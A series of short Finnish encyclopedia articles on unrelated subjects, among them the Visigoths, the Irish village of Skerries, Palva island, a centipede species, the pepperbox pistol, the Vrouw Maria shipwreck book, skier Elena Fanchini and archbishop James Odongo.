Länsigootit säilyivät Rooman foederateina vuoteen 475, jolloin Teoderik I:n poika Eurik julistautui itsenäiseksi kuninkaaksi. Eurik julkaisi myös länsigoottien lakikokoelman, latinaksi kirjoitetun *Eurikin koodeksin*. Hänen aikanaan länsigoottien Gallian kuningaskunta saavutti suurimman laajuutensa, ja ulottui Loiresta Pyreneille. Eurikia seurasi valtaistuimella hänen poikansa Alarik II, joka sai surmansa Vouillén taistelussa vuonna 507, jolloin Klodvigin johtamat frankit löivät Gallian länsigootit lopullisesti. Espanjassa länsigoottien valtakunta vielä säilyi Toledo pääkaupunkinaan, mutta vuonna 711 arabit tuhosivat viimein myös sen.

Lähteet
-------

* Castrén, Paavo ja Pietilä-Castrén, Leena: *Antiikin käsikirja*. Otava, 2000. ISBN 951-1-12387-4.
* Kari, Risto: *Historian ABC 6 – Kaikkien aikojen valtiot*. Tammi, 2001. ISBN 951-31-1098-2

### Viitteet

1. 1 2 3  Castrén ja Pietilä-Castrén 2000, s. 318.
2. ↑  Kari 2001, s. 143
3. 1 2  Visigoth *Britannica Academic, Encyclopædia Britannica*. Encyclopædia Britannica Inc. Viitattu 24.10.2018. (englanniksi)

Aiheesta muualla
----------------

* Kuvia tai muita tiedostoja aiheesta **Länsigootit** Wikimedia Commonsissa
**Skerries** (iiriksi *Na Sceirí*) on Irlannin itärannikolla oleva kylä. Se sijaitsee 30 kilometriä Dublinista pohjoiseen. Kylän tunnuksena ovat suuret tuulimyllyt. Lisäksi siellä on Ardgillanin linna.

Skerriesin tuulimylly
Skerries on ollut vuosisatojen ajan suosittu maihinnousupaikka Irlantiin sen edustan saarien kautta. Niiden kautta ovat tulleet niin viikingit kuin Pyhä Patrick. Britit pelkäsivät Napoleonin valloittavan Irlannin 1800-luvulla, jolloin he rakensivat saarille kaksi Martello-tornia puolustamaan kylää. Niitä ei koskaan kuitenkaan tarvittu. Skerriesin satama on luonnonsatama.

Kylän edustalla on viisi saarta: Shenick Island, St Patrick's, Colt ja Rockabill, joka muodostuu kahdesta pikku saaresta.

Lähteet
-------

1. 1 2  Skerries Citypopulation 2022
2. ↑  Markus Ahonen: Rannikkokylien taikaa.  *Aamulehti*, 31.7.2013, s. B21.
3. ↑  Skerriesin kotisivut
4. ↑  Skerries Colt, Rockabill, Shenick, St. Patrick's Islands. Irish Islands Info. Viitattu 14.9.2022 (englanniksi)
**Palvelualoite** on kuntapalveluihin ehdotettu kilpailutuksen menettely. Sen mukaan kuka tahansa yksityishenkilö, yhteenliittymä tai yritys voisi esittää pystyvänsä tuottamaan kunnan tarjoaman palvelun edullisemmin tai paremmin kuin kunta itse. Kunta olisi velvollinen ottamaan haasteen vastaan ja vertaamaan julkisesti omaa palveluaan haastajan esittämään vaihtoehtoon.

Menettelyn hyvinä puolina pidetään julkisten palvelujen kehittymistä, hintojen laskua ja toiminnan läpinäkyvyyttä. Se kannustaisi perustamaan yhtiöitä ja yhteenliittymiä, jotka kehittäisivät julkisia palveluita. Palvelualoite myös pakottaisi kunnat selvittämään palvelutuotantonsa hinnan ja laadun. Se lisäisi päätöksenteon läpinäkyvyyttä ja tehostaisi kuntien toimintaa. Huonojakin kokemuksia on: Ruotsissa on havaittu, että yksityisten palveluntarjoajien tulo markkinoille on saattanut lopulta nostaa hintaa ja laskea palvelutasoa. Vaikka hinta olisi aluksi alentunut, se voi nousta, kun yksityinen palveluntarjoaja on saanut haltuunsa suuren osan palvelutuotannosta. Kunnan pitää tässä järjestelmässä varata ja käyttää voimavaroja haasteisiin vastaamiseen, minkä arvioidaan olevan pois palvelujen tuottamisesta.

Lähteet
-------

1. 1 2  Palvelualoite edellyttää voimavaroja *hs.fi*.  13.10.2012. Sanoma Oy. Viitattu 25.1.2014.
*Tämä artikkeli käsittelee saarta Naantalin Velkualla. Naantalissa sijaitsee myös lähellä Luonnonmaan saarta Palva-niminen saari.*
PalvaPalvan koulutie Velkuan koulun kohdalla heinäkuussa 2012.

|  |  |
| --- | --- |
| Sijainti | 
60°27′55″N, 021°39′41″E, NaantaliVarsinais-SuomiSuomi |
| Korkein kohta | 
46,2 m |
| Pinta-ala | 
2,9 km²  |

Väestö| Asukasluku | 
56 |

muokkaa - muokkaa wikitekstiä - muokkaa WikidataaTietolaatikon dokumentaatioNäytä Wikidatasta tulevat arvot

**Palva** on entisen Velkuan kunnan, nykyisen Naantalin kaupungin alueella sijaitseva saari. Saaren pinta-ala on 2,9 neliökilometriä, ja vakituisia asukkaita on 56. Vapaa-ajan asuntoja saarella on 75, pois lukien vapaa-ajan asunnot, joissa asutaan pysyvästi. Saarelle ei ole kiinteää tieyhteyttä. Vuonna 2004 saarella asui noin 40 ihmistä. Saarella sijaitsevat Velkuan koulu ja Velkuan kirkko. Saari on melko kallioinen, ja sen korkein kohta on 46,2 metriä. Saarella on myös jonkin verran maataloutta.

Kaupalliset palvelut ja Palvelukeskus Kummeli sijaitsevat Teersalon rannassa Livonsaarella, johon Palvasta on lossiyhteys. Saarella on merenrantaniittyjä, joista osalla laiduntaa vielä lihakarjaa.

Liikenneyhteydet
----------------

Palvalle kulkee kaksi lossireittiä: mantereen suunnasta maantieltä 1931 Teersalon rannasta Palvaan (1 km) ja toinen reitti Palvasta Velkuanmaahan (0,94 km). Kummankin lossin kantavuus on 44 tonnia, ja ne kykenevät kuljettamaan kerrallaan noin kymmenen henkilöautoa. Vuonna 2003 Lounais-Suomen saariston 17 lossivälistä ainoastaan Teersalo–Palva- ja Palva–Velkuanmaa-välejä ei ole suunniteltu korvattaviksi kiinteällä tieyhteydellä. Palvaan liikennöi myös Merenkulkulaitoksen yhteysalus M/S *Kivimo* Velkuan reittialueella.

Lähteet
-------

1. 1 2 3  "Liite 1", *Ilman kiinteää tieyhteyttä olevat pysyvästi asutut saaret*, s. 110. Alueiden kehittäminen 26/2010. Työ- ja elinkeinoministeriö, 2010. ISSN 1797-3562 ISBN 978-952-227-374-1. Teoksen verkkoversio (pdf) (viitattu 23.9.2014).
2. 1 2  Turun seudun kehyskuntien liikennejärjestelmäsuunnitelma (pdf)  2005. Varsinais-Suomen liitto. Viitattu 9.10.2009. [vanhentunut linkki]
3. ↑  Palva Karttapaikassa *kansalaisen.karttapaikka.fi*. Maanmittauslaitos. Viitattu 23.9.2014.
4. ↑  Knuutila, Maija; Lehtomaa, Leena & Rapo, Jessika: Velkuan perinnemaisemat (pdf)  2005. Lounais-Suomen ympäristökeskus. Viitattu 9.10.2009.
5. ↑  Palva  1.9.2008. Destia. Viitattu 9.10.2009. [vanhentunut linkki]
6. ↑  Velkuanmaa  1.9.2008. Destia. Viitattu 9.10.2009. [vanhentunut linkki]
7. ↑  Lounais-Suomen saariston liikennejärjestelmäsuunnitelma (pdf)  2003. Varsinais-Suomen liitto. Viitattu 9.10.2009. [vanhentunut linkki]
8. ↑  Velkuan reittialue – Kivimo Merenkulkulaitos. Viitattu 9.10.2009.

CommonsCommons
Wikimedia Commonsissa on kuvia tai muita tiedostoja aiheesta **Palva (Velkua)**.
**Suomen Laki** on nykyisin kolmena niteenä ilmestyvä Talentum Oyj:n julkaisema lakikokoelma. Aiemmin julkaisuoikeus oli Suomen Lakimiesliitto ry:llä, joka julkaisi teosta yhteistyössä oikeusministeriön kanssa. Teosta on julkaistu vuodesta 1955 alkaen.

1990-luvun puolessa välissä Suomen Laki -teoksesta ryhdyttiin valmistelemaan painetun rinnalle sähköisiä versioita. Suomen Laki -teosta vastaavaa CD-romia on julkaistu vuodesta 1995. Vuodesta 1996 Suomen laki -teosta on ylläpidetty myös online -verkkopalveluna.

Suomen Laki -teoksessa on alusta alkaen lait luokiteltu oikeudenaloittain, ja kirjan toimitus muokkaa säädökset voimassa olevaan muotoon niihin aika ajoin tehtävien muutosten mukaisesti. Toimitustyön yhteydessä säädöksiin lisätään myös viittauksia muihin säädöksiin ja lakia koskevaan hallituksen esitykseen sekä kyseistä säädöstä koskeviin oikeustapauksiin.

Lähteet
-------

1. ↑  Jussi Pajuoja, Kaijus Ervasti: Suomen Lakimiesliiton historia, s. 124
2. ↑  Lakikirja 250 vuotta näyttely Eduskunnan kirjastossa (Arkistoitu – Internet Archive)
**Viherjuoksiainen** (*Geophilus carpophagus*) on juoksujalkaisiin kuuluva eläinlaji. Suomen lajiston uhanalaisarvioinnissa 2010 se on luokiteltu hävinneeksi (RE).

Koko ja ulkonäkö
----------------

Melko kookas juoksujalkainen. Ruumis on tasaisen kellanruskea, usein harmaansävyinen, noin 30 kertaa leveyttään pitempi ja eläin voi kasvaa 60 mm:n pituiseksi. Raajapareja on koiraalla 51–55 ja naaraalla 53–59. Silmät puuttuvat ja 14-jaokkeisten tuntosarvien jaokkeet ovat leveyttään pitempiä. Leukaraajojen tyvilevy kapenee hieman kärkeä kohti ja on tyvestään hivenen päätä leveämpi. Myrkkykynsien tyvellä on pienet kyhmyt. Takimmaisen raajaparin kärjissä on selvät kynnet ja lonkissa on vatsapuolella 4–8 huokosta, jotka ovat asettuneet kahteen epäsäännölliseen riviin.

Levinneisyys
------------

Lajin levinneisyysaluetta ei tunneta kovin hyvin. Se ulottunee Pohjois-Afrikasta ja Välimeren alueelta Euroopan poikki Skandinavian eteläosiin, mutta osassa aluetta havainnot saattavat olla lajista *Geophilus easoni*, joka erotettiin omaksi lajikseen vuonna 2001 ja muodostaa viherjuoksiaisen kanssa kryptisen lajikompleksin. Pohjoismaissa sitä tavataan paikoitellen Tanskassa sekä eteläisessä Norjassa ja Ruotsissa. Suomessa lajilla on ollut yksi esiintymispaikka Varsinais-Suomen alueella, mutta paikka on sittemmin tuhoutunut eikä lajista ole tehty havaintoja mistään muualtakaan. Tämän vuoksi sen katsotaan hävinneen Suomen eläinlajistosta.

Elinympäristö ja elintavat
--------------------------

Laji viihtyy kivikkoisessa maastossa ja jyrkillä rinteillä, mutta sitä tavataan myös rannoilla ja joskus jopa puiden kaarnan alta. Muista luonnossa esiintyvistä juoksujalkaisista poiketen viherjuoksiaista tavataan myös yleisesti sisätiloista.

Lähteet
-------

1. 1 2  Ilpo Mannerkoski, Juhani Terhivuo & Pekka T. Lehtinen 2010. Tuhatjalkaiset. Julk.: Rassi, P. Hyvärinen, E. Juslén, A. & Mannerkoski, I. (toim.). Suomen lajien uhanalaisuus – Punainen kirja 2010. Ympäristöministeriö & Suomen ympäristökeskus, Helsinki. s. 372–375
2. 1 2 3 4  Nationalnyckeln till Sveriges Flora och Fauna. Mångfotingar – Myriapoda ISBN 978-91-88506-53-5 s. 147, 157
3. ↑


|  |  |  |
| --- | --- | --- |
| 

|  |  |
| --- | --- |
| Taksonitunnisteet | 
* Wikidata: Q6508312
* BioLib: 89923
* CoL: 3FQZY
* EPPO: GEOPCA
* EUNIS: 202112
* Fauna Europaea: 375079
* Fauna Europaea (new): 37895391-0189-44e3-8f95-dd6e75fd21b7
* GBIF: 2233622
* iNaturalist: 496758
* IRMNG: 11788941
* ITIS: 1092233
* NBN: NBNSYS0000011408
* NCBI: 173285
* Plazi: 390AD56B-D4F3-8B6A-24A4-352D427FD8F7
* WoRMS: 394703

 |

 |
**Lily Hanson** (aikaisemmin **Joseph "Joe" Blain Hanson**; s. 23. helmikuuta 1983 Fosston, Minnesota, Yhdysvallat) on yhdysvaltalainen kirjoittaja ja koomikko. Tällä hetkellä hän asuu Los Angelesissa.

Elämä ja ura
------------

Hanson esiintyi televisiosarjan *Kaunotar ja nörtti* ensimmäisellä tuotantokaudella vuonna 2005. Hän on käsikirjoittanut Ray William Johnsonin sarjaa *Equals Three*. 

Hanson aloitti vuonna 2010 Internet-sarjan nimeltä "Joe Goes" (suom. *Joe menee*), jossa hän vierailee konventeissa, eri tilaisuuksissa ja eri maissa käyden tarkoituksellisesti kiusallisia keskusteluja ihmisten kanssa. Hän on käynyt muun muassa Suomessa, Ruotsissa sekä Islannissa. *Joe Goes* -sarjan jakso "Joe Goes to Exxxotica Expo" sai paljon näkyvyyttä Internetissä ja pääsi *The Huffington Postin* etusivulle.

### Yksityiselämä

Hanson on Wu-Tang Clan -yhtyeen fani, ja hänellä on tatuointi yhtyeestä niskassa. Hän on myös yhtyeestä paljon vaikutteita saanut rap-artisti, ja on muun muassa esitellyt freestyle rap -taitojaan videoillaan. Hanson on julkaissut omaa musiikkiaan nimellä *Bino White*.*lähde?*

Lähteet
-------

1. ↑  Hilarious Interviews with Porn Stars at the ‘Exxxotica Expo’ (NSFW VIDEO) *The Huffington Post*.  31.8.2010. Viitattu 29.4.2017. (englanniksi)
**Rainer Björkroth** (s. 26. tammikuuta 1957) on suomalainen ravivalmentaja, joka myös ohjasti aktiivisesti kilpaa 2000-luvun alkuvuosiin saakka. Björkrothin ohjastaman ja valmentaman hevosen suurin voitto on ollut Vintarin ravikuningatar-kilpailun voitto Ylivieskan Kuninkuusraveissa vuonna 1997.

Björkoth valmensi aikanaan Vihdissä ja Forssassa. Ruotsissa hänellä oli valmennustoimintaa ensin vuodesta 2000 vuoteen 2013 Solvallassa ja sitten Uumajassa vuoteen 2014 saakka. Kokkolassa asuvan Björkrothin talli on Kaustisella, jossa hän toimi myös yhtäaikaa Ruotsissa valmentaessaan.

Björkroth on viime vuosina panostanut Ranskasta hevosten hankkimiseen ja niiden valmentamiseen.

Rainer Björkroth ohjasti tuhannennen voittonsa 26. elokuuta 1994 Dick Exchangen rattailla Kaustisen raviradalla.

Lähteet
-------

1. 1 2 3 4  Klemola, Jouni: Peloton valmentaja kokeilee uutta.  *Hevosurheilu*, 20.1.2017.
2. ↑  Ravikuningattaret *Hippos*. Viitattu 12.8.2023.
3. ↑  Rättyä, Jari-Pekka: Team Björkroth muutaa Uumajaan.  *Hevosurheilu*, 27.3.2013.
4. 1 2  Suomalaisvalmentaja löysi markkinaraon – Ranskalaisravuri takoo nyt tulosta synnyinmaassaan *www.iltalehti.fi*. Viitattu 12.8.2023.
5. ↑  Lind, Harri: Rainer Björkrothin toiminta kokonaan Suomeen.  *Hevosurheilu*, 06.08.2014.
6. ↑  Henkilön perustiedot, Björkroth Rainer, (5002) - HEPPA-JÄRJESTELMÄ - Hippos *heppa.hippos.fi*. Viitattu 12.8.2023.
7. ↑  Virkkala, Timo-Jaakko: Rainer Björkroth lähti samantien toiselle tuhannelle.  *Hevosurheilu*, 31.8.1994.
Pippuripurkkipistooli
**Pippuripurkkipistooli** on yksi versio pippuripurkkiaseesta, jonka keksi massachusettsilainen aseseppä Ethan Allen (1806–1871) 1830-luvulla. Aseessa on 4–6 pyörivää piippua. Aseen nimen kerrotaan syntyneen siitä, että se laukesi joskus vahingossa kaikki piiput yhtä aikaa "pippuroiden" kaiken edestään.

Kaksitoimisen laukaisukoneiston ansiosta sillä voitiin ampua useita laukauksia nopeasti. Aseen laukaisemiseen ja seuraavan piipun kääntämiseen tarvittiin vain yksi liipasimen veto. Pippuripurkkipistoolit eivät kuitenkaan olleet erityisen tarkkoja.

Pippuripurkkipistoolin syrjäytti jo pian teknisesti huomattavasti kehittyneempi revolveri, minkä vuoksi sen valmistus lopetettiin melkein kokonaan jo 1860-luvulla.

Ase kirjallisuudessa
--------------------

Pippuripurkkipistooli on suhteellisen harvinainen kertomakirjallisuudessa; eräs harvoja - jossa se onkin sitten olennaisessa osassa - on Clive Cusslerin kirjassa Jäävirta, jossa päähenkilöt löytävät tällaisia brittiläisen purjetutkimusaluksen hylystä pohjoisnapajäätiköltä ja taistelevat menestyksellisesti hyökkääviä rikollisia vastaan, kunnes SEAL-joukot ehtivät apuun.

Lähteet
-------

* Chuck Willis: *Maailman aseet*. Karisto, 2007. ISBN 978-951-23-4879-4.
**Vrouw Marian viimeinen matka** on Suomen rannikolla vuonna 1771 uponneesta snaupriki *Vrouw Mariasta* kertova teos. Teoksen ovat kirjoittaneet Juha Flinkman ja Petri Puromies, jotka ovat myös kuvittaneet sen yhdessä Karri Flinkmanin kanssa. Teoksen on julkaissut vuonna 2014 Paasilinna.

Tekijöistä Juha Flinkman on meribiologi ja työskentelee Suomen ympäristökeskuksessa kehittämispäällikkönä. Hän on Suomen johtavia tutkimussukeltajia ja sukelluskouluttajia. Petri Puromies on Helsingin Sanomissa kuvatoimittajana. Puromies on tutkimussukeltaja ja oli myös Vrouw Maria -tutkimusprojektin kuvaaja.

Teos jakautuu kahteen pääosaan, jotka vuorostaan jakautuvat alaosiin:

* Viimeinen purjehdus
	+ Ensimmäinen osuus:Amsterdam–Juutirauma
	+ Toinen osuus:Juutinrauma–haaksirikko
	+ Hylyn etsiminen ja pelastusyritykset
* Vrouw Maria löydetään
	+ Museoviraston tutkimusprojektit, hylyn ja sen ympäristön tutkimukset
	+ Valmiina sukeltamaan!
	+ Tutkimukset ja dokumentointi jatkuvat
	+ Vrouw Marian tulevaisuus

37-sivuisessa kuvaliitteessä on laivaa esittäviä piirroskuvia ja valokuvia sukeltajien työstä.

Alkusanoissa kirjan tekijät sanovat, että heillä on kirjaa tehdessään ollut tavoite koota kaikki olemassa oleva tieto yleistajuiseksi kokonaisuudeksi ja elävöittää kokonaisuutta kuvaamalla Vrouw Marian viimeistä purjehdusta. Lisäksi he halusivat kiinnittää lukijoiden huomion siihen, että poikkeuksellisten ominaisuuksiensa vuoksi Itämeri säilöö vanhoja laivoja paremmin kuin maailman muut meret. Varsinaista uutta tietoa Vrouw Mariasta kirja ei tuo.

Kirjoittajat toteavat Vrouw Marian tulevaisuutta pohtiessaan, että kiinnostus sen nostoon ei ole loppunut, mutta sanovat, että hylky säilyy hyvin siellä missä se on, kun siihen ei kajota. Nostaminen ja konservointi ovat ongelmia, ja he ottavat vertauskohdaksi Wasa-laivan, jonka puuaines on alkanut hajota.

Lähteet
-------

1. ↑  Juha Flinkman Suomen ympäristökeskus. Viitattu 18.12.2014. [vanhentunut linkki] (Arkistoitu linkki)
2. ↑  Jarno Forssell: Iso mies mereltä *Tiede.fi*.  6/2003. Viitattu 18.12.2014.
3. 1 2  Flinkman, Puromies, s. 10–11
4. ↑  Vrouw Marian viimeinen matka -kirja julkaistiin  2.10.2014. Paasilinna.  Arkistoitu 18.12.2014. Viitattu 18.12.2014.
5. ↑  Flinkman, Puromies, s. 137–138
**Elena Fanchini** (30. huhtikuuta 1985 Lovere – 8. helmikuuta 2023) oli italialainen alppihiihtäjä, joka oli parhaimmillaan vauhtilajeissa.

Fanchini saavutti hopeaa Santa Caterinan MM-kisojen 2005 syöksylaskussa Janica Kostelicin jälkeen. Samana vuonna hän saavutti nuorten MM-kilpailuissa Bardonecchiassa hopeaa syöksylaskussa ja pronssía supersuurpujottelussa. Vancouverin olympialaisissa 2010 hän oli supersuurpujottelussa neljästoista. Schladmingin MM-kilpailuissa 2013 hän sijoittui syöksylaskussa yhdeksänneksi ja alppiyhdistetyssä 15:nneksi, Sotšin olympialaisissa 2014 syöksylaskussa 12:nneksi. Sankt Moritzin MM-kilpailuissa 2017 hän oli syöksylaskussa 14:s.

Fanchini voitti urallaan kaksi maailmancupin osakilpailua, syöksylaskut Lake Louisessa joulukuussa 2005 sekä Cortina d’Ampezzossa tammikuussa 2015. Kaudella 2013–2014 hän sijoittui kolmanneksi Beaver Creekin sekä Lake Louisen syöksylaskussa. Syöksylaskun maailmancupissa hän oli viides kaudella 2014–2015. Syöksylaskun Italian mestaruuden hän voitti vuosina 2005, 2007, 2010, 2011 ja 2012.

Myös Elena Fanchinin sisaret Nadia ja Sabrina ovat alppihiihtäjiä.

Fanchini kuoli 8. helmikuuta 2023 sairastettuaan syöpää.

Lähteet
-------

* Elena Fanchini Kansainvälinen hiihtoliitto (FIS).  (englanniksi)

### Viitteet

1. ↑  Olli Kivioja: Alppihiihdon MM-mitalisti Elena Fanchini, 37, on kuollut *Ilta-Sanomat*.  8.2.2023. Viitattu 8.2.2023.
2. ↑  Elena Fanchini, Italian skier and world silver medalist, dies aged 37 from tumor *The Guardian*.  8.2.2023. Viitattu 8.2.2023. (englanniksi)

Aiheesta muualla
----------------

CommonsCommons
Wikimedia Commonsissa on kuvia tai muita tiedostoja aiheesta **Elena Fanchini**.
* Fanchinien virallinen sivusto (italiaksi)

|  |  |  |
| --- | --- | --- |
| 

|  |  |
| --- | --- |
| Auktoriteettitunnisteet: Kansalliset Muokkaa Wikidatassa | 
* Saksa

 |

 |
*Tämä artikkeli kertoo soittimesta. Sanan muista merkityksistä katso Räikkä (täsmennyssivu).*
Juutalaisten käyttämä *purim*-räikkä.
Räikän toimintaperiaate
**Räikkä** on hammasidiofoneihin kuuluva soitin. Räikässä on hammaspyörä, kädensija ja kehys, joka pyörii hammaspyörän ympärillä, kun räikkää pyöritetään. Kehykseen kiinnitetty puinen tai metallinen kieli osuu hammaspyörän hampaisiin muodostaen voimakkaan rätisevän äänen. Hammaspyörää voidaan pyörittää myös kammen avulla eritoten orkestereissa käytetyissä räikissä.

Räikkää on perinteisesti käytetty myös metsästyksessä merkinantolaitteena ja eläinten pelotteena (esimerkiksi jänisräikkä). Se on myös lasten käyttämä leikkikalu. Räikkiä käytettiin myös varoitusmerkkinä kulkutauteihin sairastuneiden ihmisten kohdalla.

Edmund Angerer käytti 1760-luvulla räikkää *Lapsisinfoniassaan* luomaan lapsenomaista ja leikkisää tunnelmaa. Sitä on käytetty myös efektinä monissa moderneissa musiikkiteoksissa.

Laajemmin sana räikkä voi viitata mekaaniseen toimintaperiaatteeseen, joka on räikän ohella käytössä myös esimerkiksi hylsyavaimessa ja nippusiteessä. Tätä voidaan käyttää myös kielikuvana palautumattomista ilmiöistä, kuten esimerkiksi evoluutiogeneettisessä käsitteessä Mullerin räikkä.

Lähteet
-------

1. 1 2 3  *Suuri Musiikkitietosanakirja 5 O-See*, s. 57. Helsinki: Weilin + Göös ja Otava, 1991. ISBN 951-35-4729-9.

Aiheesta muualla
----------------

* Kuvia tai muita tiedostoja aiheesta **Räikkä** Wikimedia Commonsissa
*Tämä artikkeli käsittelee arkkipiispaa. James Odongo on myös yleisurheilija.*
**James Odongo** (27. maaliskuuta 1931 – 4. joulukuuta 2020) oli ugandalainen roomalaiskatolinen arkkipiispa. Hänet vihittiin papiksi 22. joulukuuta 1956 ja nimitettiin Tororon hiippakunnan vihkipiispaksi sekä Bahannan titulaaripiispaksi 25. marraskuuta 1964. Piispaksi vihkiminen seurasi 16. helmikuuta 1965. Pääkonsekraattorina toimi Laurean Rugambwa, jota avustivat John Francis Greif ja Vincent Joseph McCauley.

Odongo sai 19. elokuuta 1968 nimityksen Tororon piispaksi ja 5. tammikuuta 1985 Ugandan sotilaspiispaksi. 2. tammikuuta 1999 hänet nimitettiin lisäksi Tororon arkkipiispaksi, jona hän toimi, kunnes jäi eläkkeelle 27. kesäkuuta 2007. Hän on kuitenkin jatkanut työtään sotilasordinariaatin johdossa.

Odongo osallistui Vatikaanin toiseen kirkolliskokoukseen.

Lähteet
-------

1. 1 2 3 4  Catholic-Hierarchy.org: Archbishop James Odongo
2. ↑  Catholic-Hierarchy.org: Military Ordinariate of Uganda, Military